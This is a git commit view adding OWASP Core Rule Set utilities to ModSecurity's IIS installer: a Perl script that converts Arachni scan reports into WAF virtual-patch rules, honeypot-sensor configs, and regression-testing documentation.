mirror of
https://github.com/owasp-modsecurity/ModSecurity.git
synced 2025-10-01 12:07:46 +03:00
Fixed files overwriting in installer; added OWASP CRS.
This commit is contained in:
39
iis/ModSecurityIIS/owasp_crs/util/README
Normal file
39
iis/ModSecurityIIS/owasp_crs/util/README
Normal file
@@ -0,0 +1,39 @@
|
||||
1) To query the repository to see what CRS versions are available -
|
||||
|
||||
$./rules-updater.pl -rhttps://www.modsecurity.org/autoupdate/repository/ -l
|
||||
|
||||
You should see output similar to this -
|
||||
|
||||
Could not load GnuPG module - cannot verify ruleset signatures
|
||||
|
||||
Repository: https://www.modsecurity.org/autoupdate/repository
|
||||
|
||||
modsecurity-crs {
|
||||
2.0.0: modsecurity-crs_2.0.0.zip
|
||||
2.0.1: modsecurity-crs_2.0.1.zip
|
||||
2.0.2: modsecurity-crs_2.0.2.zip
|
||||
2.0.3: modsecurity-crs_2.0.3.zip
|
||||
2.0.4: modsecurity-crs_2.0.4.zip
|
||||
2.0.5: modsecurity-crs_2.0.5.zip
|
||||
2.0.6: modsecurity-crs_2.0.6.zip
|
||||
}
|
||||
|
||||
2) To download the latest CRS version. First you should create a local CRS directory to
|
||||
place the dowloaded archive into. In my example, I created a local dir called "crs" and
|
||||
then used this command -
|
||||
|
||||
$ ./rules-updater.pl -rhttp://www.modsecurity.org/autoupdate/repository/ -pcrs -
|
||||
Smodsecurity-crs
|
||||
|
||||
You should see output similar to this -
|
||||
|
||||
Could not load GnuPG module - cannot verify ruleset signatures
|
||||
Fetching: modsecurity-crs/modsecurity-crs_2.0.6.zip ...
|
||||
|
||||
Then check the downloaded files -
|
||||
|
||||
$ ls -l crs/modsecurity-crs/*
|
||||
-rw-r--r-- 1 rbarnett rbarnett 166590 2010-03-10 14:13 crs/modsecurity-crs/modsecurity-
|
||||
crs_2.0.6.zip
|
||||
-rw-r--r-- 1 rbarnett rbarnett 490 2010-03-10 14:13 crs/modsecurity-crs/modsecurity-
|
||||
crs_2.0.6.zip.sig
|
318
iis/ModSecurityIIS/owasp_crs/util/arachni2modsec.pl
Normal file
318
iis/ModSecurityIIS/owasp_crs/util/arachni2modsec.pl
Normal file
@@ -0,0 +1,318 @@
|
||||
#!/opt/local/bin/perl -T
|
||||
|
||||
#############################################
|
||||
# -=[ Virtual Patching Converter Script ]=- #
|
||||
# Converts arachni XML Ouput #
|
||||
# https://github.com/Zapotek/arachni #
|
||||
# #
|
||||
# arachni2modsec.pl #
|
||||
# Version: 1.0 #
|
||||
# #
|
||||
# Copyright 2011 #
|
||||
# Trustwave's SpiderLabs Research Team #
|
||||
# www.trustwave.com #
|
||||
# #
|
||||
# Based On Code Originally Created by: #
|
||||
# The Denim Group #
|
||||
# www.denimgroup.com #
|
||||
#############################################
|
||||
|
||||
use XML::Smart;
|
||||
use Switch;
|
||||
use Data::Types qw(:all);
|
||||
use Data::Validate::URI qw(is_uri);
|
||||
use Getopt::Std;
|
||||
use Acme::Comment type=>'C++', one_line=>1; #Block commenting, can be removed later
|
||||
|
||||
#############
|
||||
# Variables #
|
||||
#############
|
||||
|
||||
# [Configuration Vars]
|
||||
my %param;
|
||||
getopt("f",\%param);
|
||||
$filename = $param{f};
|
||||
my $all_vulnerabilities_filename = "$filename";
|
||||
|
||||
unless ($filename) {
|
||||
print "Flag:\n\n\t -f:\t path to arachni xml report file\nUsage:\n\n\t./arachni2modsec.pl -f ./arachni_report.xml\n\n";
|
||||
exit;
|
||||
}
|
||||
|
||||
|
||||
my $modsec_rules_file = "./modsecurity_crs_48_virtual_patches.conf";
|
||||
|
||||
# [End Config Vars]
|
||||
|
||||
my $VULN_CLASS_XSS = "Cross-Site Scripting (XSS)";
|
||||
my $VULN_CLASS_SQLI = "SQL Injection";
|
||||
my $VULN_CLASS_BLIND_SQLI = "Blind SQL Injection";
|
||||
my $VULN_CLASS_LFI = "Path Traversal";
|
||||
my $VULN_CLASS_RFI = "Remote file inclusion";
|
||||
my $VULN_CLASS_HTTPRS = "Response splitting";
|
||||
|
||||
# Only the vulnerabilities in this array will have
|
||||
# rules generated for them.
|
||||
my @supported_vulns = ($VULN_CLASS_XSS, $VULN_CLASS_SQLI, $VULN_CLASS_BLIND_SQLI, $VULN_CLASS_LFI, $VULN_CLASS_RFI, $VULN_CLASS_HTTPRS);
|
||||
|
||||
my $num_rules_generated=0;
|
||||
my $num_not_supported=0;
|
||||
my $num_bad_urls=0;
|
||||
|
||||
my $wait_for_keypress=1;
|
||||
my $request_failed=0;
|
||||
|
||||
my $all_vulns_xml;
|
||||
my @type;
|
||||
my @id;
|
||||
my $vuln_count;
|
||||
|
||||
my $num_attacks_flag=0;
|
||||
my $num_attacks_noflag=0;
|
||||
|
||||
# End Vars ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||||
|
||||
#############
|
||||
# Main #
|
||||
#############
|
||||
|
||||
# Clean up env so perl doesn't complain
|
||||
# when trying to run the restart snort
|
||||
# script.
|
||||
delete @ENV{qw(IFS CDPATH ENV BASH_ENV PATH)};
|
||||
|
||||
$all_vulns_xml = XML::Smart->new($all_vulnerabilities_filename);
|
||||
|
||||
@type = $all_vulns_xml->{arachni_report}{issues}{issue}('[@]','name');
|
||||
@url = $all_vulns_xml->{arachni_report}{issues}{issue}('[@]','url');
|
||||
@param = $all_vulns_xml->{arachni_report}{issues}{issue}('[@]','variable');
|
||||
|
||||
open(my $MODSEC_RULES, '>' , $modsec_rules_file) || die "Unable to open modsecurity rules file $modsec_rules_file";
|
||||
$MODSEC_RULES->autoflush(1);
|
||||
|
||||
$vuln_count = 0;
|
||||
|
||||
foreach my $current_type (@type){
|
||||
print "==================================================================================================\n";
|
||||
print "Vulnerability[$vuln_count] - Type: $current_type\n";
|
||||
|
||||
if(exists {map { $_ => 1 } @supported_vulns}->{$current_type}){
|
||||
parseData(to_string($current_type));
|
||||
}else {
|
||||
print "Vulnerability Type: $type is not supported in this version.\n";
|
||||
$num_not_supported++;
|
||||
}
|
||||
$vuln_count++;
|
||||
}
|
||||
|
||||
close($MODSEC_RULES);
|
||||
|
||||
print "==================================================================================================\n";
|
||||
|
||||
print "\n\n************ END OF SCRIPT RESULTS *****************\n";
|
||||
print "Number of Vulnerabilities Processed: $vuln_count\n";
|
||||
print "Number of ModSecurity rules generated: $num_rules_generated\n";
|
||||
print "Number of Unsupported vulns skipped: $num_not_supported\n";
|
||||
print "Number of bad URLs (rules not gen): $num_bad_urls\n";
|
||||
print "****************************************************\n\n";
|
||||
print "----------------------------------------------------\n";
|
||||
print "To activate the virtual patching file ($modsec_rules_file),\n";
|
||||
print "copy it into the CRS \"base_rules\" directory and then create\n";
|
||||
print "a symlink to it in the \"activated_rules\" directory.\n";
|
||||
print "-----------------------------------------------------\n\n";
|
||||
|
||||
|
||||
###############
|
||||
# Subroutines #
|
||||
###############
|
||||
sub parseData
|
||||
{
|
||||
my($vuln_str) = @_;
|
||||
my $vuln_detail_filename;
|
||||
my $current_vuln_xml;
|
||||
my $current_vuln_url;
|
||||
my $current_vuln_param;
|
||||
my $current_uricontent;
|
||||
my @current_params;
|
||||
my $id = $vuln_count;
|
||||
|
||||
print "Found a $vuln_str vulnerability.\n";
|
||||
|
||||
$current_vuln_xml = XML::Smart->new($all_vulnerabilities_filename);
|
||||
$current_vuln_url = $url[$vuln_count];
|
||||
|
||||
print URL_LIST "$current_vuln_url\n";
|
||||
|
||||
# Validate url (need seperate sub?)
|
||||
print "Validating URL: $current_vuln_url\n";
|
||||
if(is_uri(to_string($current_vuln_url))){
|
||||
print "URL is well-formed\n";
|
||||
print "Continuing Rule Generation\n";
|
||||
} else {
|
||||
print "URL is NOT well-formed. Breaking Out of Rule Generation\n";
|
||||
$num_bad_urls++;
|
||||
|
||||
# Waits for keypress in test mode so you can
|
||||
# see why the URL failed validation.
|
||||
if($test_mode){
|
||||
wait_for_keypress();
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
$current_uricontent = get_uricontent($current_vuln_url);
|
||||
|
||||
|
||||
# Only need param if XSS attack,SQLINJ,XPATH
|
||||
# and maybe for HTTPRS, DT.
|
||||
# NOT for PRL and DI
|
||||
|
||||
if(($vuln_str ne $VULN_CLASS_PRL) && ($vuln_str ne $VULN_CLASS_DI)){
|
||||
@current_params = $param[$vuln_count];
|
||||
|
||||
}
|
||||
if(($vuln_str ne $VULN_CLASS_PRL) && ($vuln_str ne $VULN_CLASS_DI)){
|
||||
print "Current vulnerable Param(s): @current_params\n";
|
||||
}
|
||||
|
||||
generate_patch($vuln_str,$current_uricontent,@current_params);
|
||||
|
||||
|
||||
}
|
||||
|
||||
|
||||
sub generate_patch
|
||||
{
|
||||
my($type,$uricontent,@params,$current_vuln_xml) = @_;
|
||||
my $rule = "";
|
||||
$id = "1".$vuln_count;
|
||||
|
||||
switch($type)
|
||||
{
|
||||
case ($VULN_CLASS_XSS)
|
||||
{
|
||||
if($uricontent ne "" && @params){
|
||||
foreach(@params){
|
||||
if($_ ne ""){
|
||||
# Check to see if each vulnerable parameter is valid
|
||||
# then generate a rule using both uricontent and the
|
||||
# parameter
|
||||
$rule = "SecRule REQUEST_FILENAME \"$uricontent\" \"chain,phase:2,t:none,block,msg:'Virtual Patch for $type',id:'$id',tag:'WEB_ATTACK/XSS',tag:'WASCTC/WASC-8',tag:'WASCTC/WASC-22',tag:'OWASP_TOP_10/A2',tag:'OWASP_AppSensor/IE1',tag:'PCI/6.5.1',logdata:'%{matched_var_name}',severity:'2'\"\n\tSecRule \&TX:\'\/XSS.*ARGS:$_\/\' \"\@gt 0\" \"setvar:'tx.msg=%{rule.msg}',setvar:tx.xss_score=+%{tx.critical_anomaly_score},setvar:tx.anomaly_score=+%{tx.critical_anomaly_score}\"";
|
||||
|
||||
print $MODSEC_RULES "#\n# Arachni Virtual Patch Details:\n# ID: $id\n# Type: $type\n# Vulnerable URL: $uricontent\n# Vulnerable Parameter: $_\n#\n".$rule."\n\n";
|
||||
print "$VULN_CLASS_XSS (uricontent and param) rule successfully generated and saved in $modsec_rules_file.\n";
|
||||
$num_rules_generated++;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
case ($VULN_CLASS_SQLI)
|
||||
{
|
||||
|
||||
if($uricontent ne "" && @params){
|
||||
foreach(@params){
|
||||
if($_ ne ""){
|
||||
$rule = "SecRule REQUEST_FILENAME \"$uricontent\" \"chain,phase:2,t:none,block,msg:'Virtual Patch for $type',id:'$id',tag:'WEB_ATTACK/SQL_INJECTION',tag:'WASCTC/WASC-19',tag:'OWASP_TOP_10/A1',tag:'OWASP_AppSensor/CIE1',tag:'PCI/6.5.2',logdata:'%{matched_var_name}',severity:'2'\"\n\tSecRule \&TX:\'\/SQL_INJECTION.*ARGS:$_\/\' \"\@gt 0\" \"setvar:'tx.msg=%{rule.msg}',setvar:tx.sql_injection_score=+%{tx.critical_anomaly_score},setvar:tx.anomaly_score=+%{tx.critical_anomaly_score}\"";
|
||||
|
||||
print $MODSEC_RULES "#\n# Arachni Virtual Patch Details:\n# ID: $id\n# Type: $type\n# Vulnerable URL: $uricontent\n# Vulnerable Parameter: $_\n#\n".$rule."\n\n";
|
||||
print "$VULN_CLASS_SQLI (uricontent and param) rule successfully generated and saved in $modsec_rules_file.\n";
|
||||
$num_rules_generated++;
|
||||
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
case ($VULN_CLASS_BLIND_SQLI)
|
||||
{
|
||||
|
||||
if($uricontent ne "" && @params){
|
||||
foreach(@params){
|
||||
if($_ ne ""){
|
||||
$rule = "SecRule REQUEST_FILENAME \"$uricontent\" \"chain,phase:2,t:none,block,msg:'Virtual Patch for $type',id:'$id',tag:'WEB_ATTACK/SQL_INJECTION',tag:'WASCTC/WASC-19',tag:'OWASP_TOP_10/A1',tag:'OWASP_AppSensor/CIE1',tag:'PCI/6.5.2',logdata:'%{matched_var_name}',severity:'2'\"\n\tSecRule \&TX:\'\/SQL_INJECTION.*ARGS:$_\/\' \"\@gt 0\" \"setvar:'tx.msg=%{rule.msg}',setvar:tx.sql_injection_score=+%{tx.critical_anomaly_score},setvar:tx.anomaly_score=+%{tx.critical_anomaly_score}\"";
|
||||
|
||||
print $MODSEC_RULES "#\n# Arachni Virtual Patch Details:\n# ID: $id\n# Type: $type\n# Vulnerable URL: $uricontent\n# Vulnerable Parameter: $_\n#\n".$rule."\n\n";
|
||||
print "$VULN_CLASS_SQLI (uricontent and param) rule successfully generated and saved in $modsec_rules_file.\n";
|
||||
$num_rules_generated++;
|
||||
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
case ($VULN_CLASS_LFI)
|
||||
{
|
||||
if($uricontent ne "" && @params){
|
||||
foreach(@params){
|
||||
if($_ ne ""){
|
||||
$rule = "SecRule REQUEST_FILENAME \"$uricontent\" \"chain,phase:2,t:none,block,msg:'Virtual Patch for $type',id:'$id',tag:'WEB_ATTACK/LFI',tag:'WASCTC/WASC-33',logdata:'%{matched_var_name}',severity:'2'\"\n\tSecRule \&TX:\'\/LFI.*ARGS:$_\/\' \"\@gt 0\" \"setvar:'tx.msg=%{rule.msg}',setvar:tx.anomaly_score=+%{tx.critical_anomaly_score}\"";
|
||||
|
||||
print $MODSEC_RULES "#\n# Arachni Virtual Patch Details:\n# ID: $id\n# Type: $type\n# Vulnerable URL: $uricontent\n# Vulnerable Parameter: $_\n#\n".$rule."\n\n";
|
||||
print "$VULN_CLASS_LFI (uricontent and param) rule successfully generated and saved in $modsec_rules_file.\n";
|
||||
$num_rules_generated++;
|
||||
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
case ($VULN_CLASS_RFI)
|
||||
{
|
||||
if($uricontent ne "" && @params){
|
||||
foreach(@params){
|
||||
if($_ ne ""){
|
||||
$rule = "SecRule REQUEST_FILENAME \"$uricontent\" \"chain,phase:2,t:none,block,msg:'Virtual Patch for $type',id:'$id',tag:'WEB_ATTACK/RFI',tag:'WASCTC/WASC-05',logdata:'%{matched_var_name}',severity:'2'\"\n\tSecRule \&TX:\'\/RFI.*ARGS:$_\/\' \"\@gt 0\" \"setvar:'tx.msg=%{rule.msg}',setvar:tx.anomaly_score=+%{tx.critical_anomaly_score}\"";
|
||||
|
||||
print $MODSEC_RULES "#\n# Arachni Virtual Patch Details:\n# ID: $id\n# Type: $type\n# Vulnerable URL: $uricontent\n# Vulnerable Parameter: $_\n#\n".$rule."\n\n";
|
||||
print "$VULN_CLASS_LFI (uricontent and param) rule successfully generated and saved in $modsec_rules_file.\n";
|
||||
$num_rules_generated++;
|
||||
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
case ($VULN_CLASS_HTTPRS)
|
||||
{
|
||||
if($uricontent ne "" && @params){
|
||||
foreach(@params){
|
||||
if($_ ne ""){
|
||||
$rule = "SecRule REQUEST_FILENAME \"$uricontent\" \"chain,phase:2,t:none,block,msg:'Virtual Patch for $type',id:'$id',tag:'WEB_ATTACK/RESPONSE_SPLITTING',tag:'WASCTC/WASC-25',logdata:'%{matched_var_name}',severity:'2'\"\n\tSecRule \&TX:\'\/RESPONSE_SPLITTING.*ARGS:$_\/\' \"\@gt 0\" \"setvar:'tx.msg=%{rule.msg}',setvar:tx.anomaly_score=+%{tx.critical_anomaly_score}\"";
|
||||
|
||||
print $MODSEC_RULES "#\n# Arachni Virtual Patch Details:\n# ID: $id\n# Type: $type\n# Vulnerable URL: $uricontent\n# Vulnerable Parameter: $_\n#\n".$rule."\n\n";
|
||||
print "$VULN_CLASS_RFI (uricontent and param) rule successfully generated and saved in $modsec_rules_file.\n";
|
||||
$num_rules_generated++;
|
||||
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
sub get_uricontent
|
||||
{
|
||||
my($url) = @_;
|
||||
my $regex = "http:\/\/+[a-zA-Z0-9.:-]*\/";
|
||||
|
||||
# First, trim the first part out of the URL:
|
||||
# http://.../
|
||||
$url =~ /$regex/;
|
||||
substr($url,index($url,$&),length($&)) = "";
|
||||
|
||||
# If the URL contains a php or cgi query with
|
||||
# one or more params and values, trim those out.
|
||||
# Trim from the question mark to the end.
|
||||
if($url =~ /\?/){
|
||||
substr($url,index($url,"?")) = "";
|
||||
}
|
||||
return $url;
|
||||
|
||||
}
|
14
iis/ModSecurityIIS/owasp_crs/util/honeypot_sensor/README.md
Normal file
14
iis/ModSecurityIIS/owasp_crs/util/honeypot_sensor/README.md
Normal file
@@ -0,0 +1,14 @@
|
||||
The purpose of these files is to turn your current ModSecurity host into
|
||||
a pseudo-honeypot sensor by doing the following:
|
||||
|
||||
1. Instructs Apache to listen for traffic on multiple unused ports
|
||||
- 8000
|
||||
- 8080
|
||||
- 8888
|
||||
2. Creates Apache virtual host containers to bind to these ports.
|
||||
3. If any traffic is received on these ports, then ModSecurity will
|
||||
inspect the traffic by inheriting any rules specified in the main
|
||||
Apache configuration.
|
||||
4. ModSecurity's Audit Engine will use the mlogc program to forward
|
||||
the audit log entry onto the ModSecurity Project's central logging
|
||||
server.
|
@@ -0,0 +1,98 @@
|
||||
##########################################################################
|
||||
# Required configuration
|
||||
# At a minimum, the items in this section will need to be adjusted to
|
||||
# fit your environment. The remaining options are optional.
|
||||
##########################################################################
|
||||
|
||||
# Points to the root of the installation. All relative
|
||||
# paths will be resolved with the help of this path.
|
||||
CollectorRoot "/var/log/mlogc"
|
||||
|
||||
# ModSecurity Console receiving URI. You can change the host
|
||||
# and the port parts but leave everything else as is.
|
||||
ConsoleURI "http://204.13.200.239/rpc/auditLogReceiver"
|
||||
|
||||
# Sensor credentials
|
||||
SensorUsername "honeypot-sensor"
|
||||
SensorPassword "test1234"
|
||||
|
||||
# Base directory where the audit logs are stored. This can be specified
|
||||
# as a path relative to the CollectorRoot, or a full path.
|
||||
LogStorageDir "data"
|
||||
|
||||
# Transaction log will contain the information on all log collector
|
||||
# activities that happen between checkpoints. The transaction log
|
||||
# is used to recover data in case of a crash (or if Apache kills
|
||||
# the process).
|
||||
TransactionLog "mlogc-transaction.log"
|
||||
|
||||
# The file where the pending audit log entry data is kept. This file
|
||||
# is updated on every checkpoint.
|
||||
QueuePath "mlogc-queue.log"
|
||||
|
||||
# The location of the error log.
|
||||
ErrorLog "mlogc-error.log"
|
||||
|
||||
# The location of the lock file.
|
||||
LockFile "mlogc.lck"
|
||||
|
||||
# Keep audit log entries after sending? (0=false 1=true)
|
||||
# NOTE: This is required to be set in SecAuditLog mlogc config if you
|
||||
# are going to use a secondary console via SecAuditLog2.
|
||||
KeepEntries 0
|
||||
|
||||
|
||||
##########################################################################
|
||||
# Optional configuration
|
||||
##########################################################################
|
||||
|
||||
# The error log level controls how much detail there
|
||||
# will be in the error log. The levels are as follows:
|
||||
# 0 - NONE
|
||||
# 1 - ERROR
|
||||
# 2 - WARNING
|
||||
# 3 - NOTICE
|
||||
# 4 - DEBUG
|
||||
# 5 - DEBUG2
|
||||
#
|
||||
ErrorLogLevel 3
|
||||
|
||||
# How many concurrent connections to the server
|
||||
# are we allowed to open at the same time? Log collector uses
|
||||
# multiple connections in order to speed up audit log transfer.
|
||||
# This is especially needed when the communication takes place
|
||||
# over a slow link (e.g. not over a LAN).
|
||||
MaxConnections 10
|
||||
|
||||
# How many requests a worker will process before recycling itself.
|
||||
# This is to help prevent problems due to any memory leaks that may
|
||||
# exists. If this is set to 0, then no maximum is imposed. The default
|
||||
# is 1000 requests per worker (the number of workers is controlled by the
|
||||
# MaxConnections limit).
|
||||
MaxWorkerRequests 1000
|
||||
|
||||
# The time each connection will sit idle before being reused,
|
||||
# in milliseconds. Increase if you don't want ModSecurity Console
|
||||
# to be hit with too many log collector requests.
|
||||
TransactionDelay 50
|
||||
|
||||
# The time to wait before initialization on startup in milliseconds.
|
||||
# Increase if mlogc is starting faster then termination when the
|
||||
# sensor is reloaded.
|
||||
StartupDelay 5000
|
||||
|
||||
# How often is the pending audit log entry data going to be written
|
||||
# to a file. The default is 15 seconds.
|
||||
CheckpointInterval 15
|
||||
|
||||
# If the server fails all threads will back down until the
|
||||
# problem is sorted. The management thread will periodically
|
||||
# launch a thread to test the server. The default is to test
|
||||
# once in 60 seconds.
|
||||
ServerErrorTimeout 60
|
||||
|
||||
# The following two parameters are not used yet, but
|
||||
# reserved for future expansion.
|
||||
# KeepAlive 150
|
||||
# KeepAliveTimeout 300
|
||||
|
@@ -0,0 +1,31 @@
|
||||
#
|
||||
# Add in honeypot ports.
|
||||
# - These are common proxy ports used by attackers
|
||||
# - All traffic accepted on these ports are suspicious.
|
||||
#
|
||||
Listen 8000
|
||||
Listen 8080
|
||||
Listen 8888
|
||||
|
||||
#
|
||||
# Create basic virtual host containers that will forward all traffic received
|
||||
# to the official ModSecurity Project honeypot logging host.
|
||||
#
|
||||
# - You should adjust the Document root location to an empty directory on your server
|
||||
# - Also adjust the path to your local ModSecurity mlogc program and for the
|
||||
# mlogc-honeypot-sensor.conf file.
|
||||
# - Make sure you main SecAuditLogType is set to concurrent mode.
|
||||
#
|
||||
<VirtualHost *:8000 *:8080 *:8888>
|
||||
ServerName www.example1.com
|
||||
DocumentRoot "/usr/local/apache/honeypot-htdocs"
|
||||
<Directory "/usr/local/apache/honeypot-htdocs">
|
||||
Options none
|
||||
AllowOverride None
|
||||
Order allow,deny
|
||||
Allow from all
|
||||
</Directory>
|
||||
SecAuditEngine On
|
||||
SecAuditLog "|/usr/local/apache/bin/mlogc /usr/local/apache/conf/mlogc-honeypot-sensor.conf"
|
||||
</VirtualHost>
|
||||
|
21
iis/ModSecurityIIS/owasp_crs/util/regression_tests/INSTALL
Normal file
21
iis/ModSecurityIIS/owasp_crs/util/regression_tests/INSTALL
Normal file
@@ -0,0 +1,21 @@
|
||||
INSTALLATION STEPS:
|
||||
|
||||
1) Edit the rulestest.pl script to define local path to perl
|
||||
|
||||
2) Edit the ruletest.conf script to define the proper global settings for:
|
||||
- servers to test
|
||||
- path to the modsecurity audit log
|
||||
|
||||
3) Copy the testserver.cgi script to the /cgi-bin directory if you wish to
|
||||
test the outbound/response rules.
|
||||
|
||||
4) Edit the modsecurity_crs_10_config.conf file and update/enable the
|
||||
Regression Testing variable settings.
|
||||
|
||||
5) Copy/Symlink the modsecurity_crs_59_header_tagging.conf file to the
|
||||
activated_rules directory
|
||||
|
||||
6) Restart Apache
|
||||
|
||||
7) Run the rulestest.pl script using the rules files in the local /tests
|
||||
directory.
|
105
iis/ModSecurityIIS/owasp_crs/util/regression_tests/README
Normal file
105
iis/ModSecurityIIS/owasp_crs/util/regression_tests/README
Normal file
@@ -0,0 +1,105 @@
|
||||
|
||||
ModSecurity Rules regression testing suite
|
||||
==========================================
|
||||
|
||||
Rules regression test tool installation:
|
||||
----------------------------------------
|
||||
Test should be run from the same host ModSecurity runs on, or a computer that
|
||||
has file system access to ModSecurity audit log (see %modseclog in step 5)
|
||||
|
||||
1. Copy rulesregtest.pl, rulesregtest.conf and test files to a directory on the
|
||||
server.
|
||||
|
||||
2. Put testserver.cgi in the server's /cgi-bin directory (required only if
|
||||
outbound tests are used)
|
||||
|
||||
3. Set ModSecurity to use serial logging.
|
||||
|
||||
4. Ensure that the web server response with 200 to access the home page (since
|
||||
default tests use "/" as the URL)
|
||||
|
||||
5. Edit rulesregtest.conf:
|
||||
- Server address and port (%server directive). The default (127.0.0.1:80) may
|
||||
be OK.
|
||||
- Location of ModSecurity audit log file (%modseclog directive).
|
||||
|
||||
Writing tests:
|
||||
--------------
|
||||
|
||||
Write a text file with the following directives:
|
||||
|
||||
%test <name> - starts a test and set is name (used for report)
|
||||
|
||||
%status <number> - sets the expected status code
|
||||
|
||||
%event <string> - set a string to search in the audit log of the test. You can
|
||||
use multiple directives to define many required patterns. For example:
|
||||
%event [id "960009"]
|
||||
|
||||
%output <string> - set a string to search in the HTTP response. You can use
|
||||
multiple directives to define many required patterns.
|
||||
|
||||
%request <20> multiple lines of the request on the following lines, terminated by
|
||||
the next directive (a line starting with "%"). A request can include variables
|
||||
using perl notation ($var). this would be replaced when testing with a value
|
||||
set by the %var directive.
|
||||
|
||||
- Note: Do not forget to leave an empty line as required by HTTP. The script
|
||||
locks otherwise.
|
||||
|
||||
- Note: Content-Length has to be calculated manually.
|
||||
|
||||
Finding bugs
|
||||
------------
|
||||
|
||||
The following directives will help to find the problems:
|
||||
|
||||
%verbose <20> will output request, reply and new ModSecurity audit log lines for
|
||||
the current test.
|
||||
|
||||
%relevant <20> will output verbose output for tests that failed.
|
||||
|
||||
|
||||
Variable replacement:
|
||||
---------------------
|
||||
%var variable=value, value, value<75>.. - Set values for a variable, the test
|
||||
would be repeated using every value. Values are set only for the current test.
|
||||
|
||||
Multiple %var directives for the same variable add values to the list and do
|
||||
not replace values, so:
|
||||
|
||||
%var variable=value1
|
||||
%var variable=value2
|
||||
|
||||
Would test with both value1 and value2.
|
||||
|
||||
If multiple variables are used in the same test, than the test is carried for
|
||||
each combination of values of the variables:
|
||||
|
||||
%var var1=v1, v2
|
||||
%var var3=v3, v4
|
||||
|
||||
The test would be repeated 4 times with the test vectors (v1, v3), (v1, v4),
|
||||
(v2, v3), (v2, v4).
|
||||
|
||||
|
||||
Testing responses:
|
||||
------------------
|
||||
To force response content in request, use /cgi-bin/testserver.cgi as the target
|
||||
URL and add one or more of the following headers to the reuqest:
|
||||
|
||||
Response-Status - Force a response status line. Defaults to "200 OK".
|
||||
Response-Content - Adds the string to the response. Note that this would not be
|
||||
the entire response.
|
||||
Response-Content-Type - sets the value of the content type header, defaults to
|
||||
"text/html"
|
||||
Response-Header-Name - Add a header to the response. This defined the new
|
||||
header's name. Response-Header-Value defines the header's value.
|
||||
Response-Header-Value - The value of the new header defined by the request
|
||||
header Response-Header-Name. Note: If Response-Header-Name is empty, then this
|
||||
parameter will be ignored.
|
||||
|
||||
** NOT IMPLEMENTED YET **
|
||||
Response-File - the name of a file to use as the entire response. Name is
|
||||
reletive to the $RESPONSE_FILE_DIR in the testserver.cgi sctip.
|
||||
** NOT IMPLEMENTED YET **
|
@@ -0,0 +1,38 @@
|
||||
#
|
||||
# This section is only used during regression testing to externalize the matched
|
||||
# rule IDs in response headers so the testing client can verify matches from
|
||||
# remote ModSecurity installs.
|
||||
#
|
||||
# WARNING: You do not want this in normal operations as this will expose
|
||||
# the inner workings of your ModSecurity configurations.
|
||||
#
|
||||
# Must enable/configure the TX:REGRESSION_TESTING variable in the
|
||||
# modsecurity_crs_10_config.conf file.
|
||||
#
|
||||
SecRule &TX:REGRESSION_TESTING|TX:REGRESSION_TESTING "@eq 0" "phase:4,t:none,nolog,id:'981228',pass,skipAfter:END_RESPONSE_HEADER_TAGGING"
|
||||
SecRule TX:ANOMALY_SCORE "@eq 0" "phase:4,id:'981229',t:none,nolog,pass,skipAfter:END_RESPONSE_HEADER_TAGGING"
|
||||
SecRule TX:/^\d*\-/ "." "phase:4,id:'981230',t:none,nolog,pass,setvar:tx.counter=+1,setenv:matched_rule-%{tx.counter}=%{matched_var_name},setenv:anomaly_score=%{tx.anomaly_score},setenv:sql_injection_score=%{tx.sql_injection_score},setenv:xss_score=%{tx.xss_score}"
|
||||
|
||||
Header append X-WAF-Events "%{matched_rule-1}e" env=matched_rule-1
|
||||
Header append X-WAF-Events "%{matched_rule-2}e" env=matched_rule-2
|
||||
Header append X-WAF-Events "%{matched_rule-3}e" env=matched_rule-3
|
||||
Header append X-WAF-Events "%{matched_rule-4}e" env=matched_rule-4
|
||||
Header append X-WAF-Events "%{matched_rule-5}e" env=matched_rule-5
|
||||
Header append X-WAF-Events "%{matched_rule-6}e" env=matched_rule-6
|
||||
Header append X-WAF-Events "%{matched_rule-7}e" env=matched_rule-7
|
||||
Header append X-WAF-Events "%{matched_rule-8}e" env=matched_rule-8
|
||||
Header append X-WAF-Events "%{matched_rule-9}e" env=matched_rule-9
|
||||
Header append X-WAF-Events "%{matched_rule-10}e" env=matched_rule-10
|
||||
Header append X-WAF-Events "%{matched_rule-11}e" env=matched_rule-11
|
||||
Header append X-WAF-Events "%{matched_rule-12}e" env=matched_rule-12
|
||||
Header append X-WAF-Events "%{matched_rule-13}e" env=matched_rule-13
|
||||
Header append X-WAF-Events "%{matched_rule-14}e" env=matched_rule-14
|
||||
Header append X-WAF-Events "%{matched_rule-15}e" env=matched_rule-15
|
||||
Header append X-WAF-Events "%{matched_rule-16}e" env=matched_rule-16
|
||||
Header append X-WAF-Events "%{matched_rule-17}e" env=matched_rule-17
|
||||
Header append X-WAF-Events "%{matched_rule-18}e" env=matched_rule-18
|
||||
Header append X-WAF-Events "%{matched_rule-19}e" env=matched_rule-19
|
||||
Header append X-WAF-Events "%{matched_rule-20}e" env=matched_rule-20
|
||||
Header set X-WAF-Score "Total=%{anomaly_score}e; sqli=%{sql_injection_score}e; xss=%{xss_score}e" env=anomaly_score
|
||||
|
||||
SecMarker END_RESPONSE_HEADER_TAGGING
|
@@ -0,0 +1,20 @@
|
||||
# Set to the address and port of the web server protected by the tested ruleset.
|
||||
#
|
||||
# TODO the web server has to respond with status code 200 to request for the
|
||||
# home page (/). This is usually the default configuration.
|
||||
#
|
||||
# TODO the script 'testserver' should be installed on this web server in the
|
||||
# /cgi-bin directory to facilitate outbound rules testing.
|
||||
#
|
||||
#%global server 127.0.0.1:80
|
||||
# Set to the path to ModSecurity audit file
|
||||
#
|
||||
# TODO set ModSecurity for serial logging.
|
||||
#
|
||||
#%global mslog /usr/local/apache/logs/audit.log
|
||||
#%msdebug /usr/local/apache/logs/debug.log
|
||||
|
||||
#
|
||||
# Set this to the appropriate web site domain name you are testing
|
||||
#
|
||||
%global var hostname=mysite
|
936
